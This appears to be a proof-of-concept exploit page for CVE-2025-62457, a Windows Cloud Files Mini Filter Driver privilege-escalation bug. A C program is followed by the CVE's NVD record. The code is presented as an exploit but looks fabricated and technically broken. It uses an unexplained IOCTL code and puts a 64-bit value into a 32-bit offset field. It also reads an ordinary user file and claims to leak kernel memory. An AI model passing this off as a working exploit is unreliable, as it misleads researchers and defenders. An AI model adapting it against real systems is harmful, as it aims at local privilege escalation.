CVE-2025-62457

// CVE-2025-62457 PoC - Windows Cloud Files Mini Filter Driver EoP // Based on the vulnerability description: Out-of-bounds read for privilege escalation #include <windows.h> #include <stdio.h> // This PoC demonstrates the conceptual approach for exploiting OOB read in Cloud Files Mini Filter // Actual exploitation requires specific conditions and target environment setup typedef struct _FILE_OBJECT_CONTEXT { PVOID DriverData; SIZE_T DataSize; UCHAR Data[256]; } FILE_OBJECT_CONTEXT, *PFILE_OBJECT_CONTEXT; BOOL TriggerOOBRead(HANDLE hFile) { // Technique: Create specific file patterns to trigger the vulnerable code path // The Cloud Files Mini Filter driver processes cloud sync metadata FILE_OBJECT_CONTEXT context = {0}; DWORD bytesReturned = 0; // Step 1: Initialize cloud file sync operation // This triggers Cloud Files Mini Filter to allocate and manage file context DeviceIoControl(hFile, 0x9C108400, // Cloud Files filter control code NULL, 0, &context, sizeof(context), &bytesReturned, NULL); // Step 2: Trigger OOB read by manipulating file offset // The driver may not properly validate buffer boundaries OVERLAPPED overlapped = {0}; overlapped.Offset = 0xFFFFFFFFFFFFFFFF; // Force out-of-bounds access char buffer[4096] = {0}; ReadFile(hFile, buffer, sizeof(buffer), &bytesReturned, &overlapped); // Step 3: Extract sensitive information from leaked kernel memory // Use leaked data to perform token manipulation printf("[+] Leaked %d bytes from kernel memory\n", bytesReturned); for (DWORD i = 0; i < bytesReturned && i < 64; i++) { printf("%02X ", (UCHAR)buffer[i]); } printf("\n"); return TRUE; } int main() { printf("[*] CVE-2025-62457 PoC - Cloud Files Mini Filter OOB Read\n"); printf("[*] Target: Windows with vulnerable Cloud Files Mini Filter Driver\n"); HANDLE hFile = CreateFile("C:\\Users\\Public\\Documents\\cloudtest.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to create file\n"); return 1; } printf("[+] File created, triggering OOB read condition...\n"); TriggerOOBRead(hFile); CloseHandle(hFile); return 0; }

{"cve": {"id": "CVE-2025-62457", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:57.313", "lastModified": "2025-12-12T20:03:35.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "5CEB496A-8AF3-458D-B466-16204E535DE0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "C99D0580-E443-4440-A211-19BA3C2C4AFA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6691", "matchCriteriaId": "9D04167A-522C-433E-8CEB-C1D8A02C23D8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6691", "matchCriteriaId": "A86D6CDC-55E5-4817-A6CE-4CE41921FB79"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6345", "matchCriteriaId": "6DCE32D0-A9E0-4029-AB35-5E202A42AF01"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "8DCD2A6E-7CD0-4FCC-AC11-5A1470776C24"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7392", "matchCriteriaId": "8EA08CDD-D682-403D-8B50-879EB4D88C67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8146", "matchCriteriaId": "A20DBDB1-D0DE-4800-8BEA-35EE5D53659D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4467", "matchCriteriaId": "C552FBB4-8F98-492E-A084-AF14C9514A67"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2025", "matchCriteriaId": "E9CE4A36-DA42-40CC-8724-E30A22CA84B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7392", "matchCriteriaId": "35BBEADA-D039-479B-A1BA-B2A7E37235BE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62457", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}